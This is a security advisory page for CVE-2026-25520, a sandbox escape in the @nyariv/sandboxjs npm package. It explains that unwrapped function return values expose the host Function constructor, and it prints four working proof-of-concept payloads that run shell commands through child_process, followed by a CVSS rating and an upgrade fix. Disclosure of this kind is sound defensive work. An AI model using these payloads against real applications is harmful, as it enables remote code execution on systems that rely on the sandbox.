icon

We found results for “

CVE-2026-25520

Good to know:

icon
icon

Date: February 6, 2026

Summary The return values of functions aren't wrapped. "Object.values"/"Object.entries" can be used to get an Array containing the host's "Function" constructor, by using "Array.prototype.at" you can obtain the hosts "Function" constructor, which can be used to execute arbitrary code outside of the sandbox. Details The return values of functions aren't wrapped, chaining function calls allows bypassing most validation/sanitization. PoC const s = require('@nyariv/sandboxjs').default; const sb = new s(); payload = "console.log( Object.values(this).at(0)( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), );" sb.compile(payload)().run(); const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = "console.log( Object.entries(this)[0].at(1)( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), );" sb.compile(payload)().run(); const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = "console.log( Object.entries(this) .at(0) .map((f) => { if (typeof f === 'function') { f.call('', 'return process')() .getBuiltinModule('child_process') .execSync('ls -lah', { stdio: 'inherit' }); } }), );" sb.compile(payload)().run(); const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = "const t = (f) => { f.call('', 'return process')() .getBuiltinModule('child_process') .execSync('ls -lah', { stdio: 'inherit' }); }; console.log(t.call(...Object.entries(this)[0]));" sb.compile(payload)().run(); Impact Sanbox Escape -> RCE

Severity Score

Severity Score

Weakness Type (CWE)

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

CWE-74

Top Fix

icon

Upgrade Version

Upgrade to version @nyariv/sandboxjs - 0.8.29

Learn More

CVSS v3.1

Base Score:
Attack Vector (AV): NETWORK
Attack Complexity (AC): LOW
Privileges Required (PR): NONE
User Interaction (UI): NONE
Scope (S): CHANGED
Confidentiality (C): HIGH
Integrity (I): HIGH
Availability (A): HIGH

Do you need more information?

Contact Us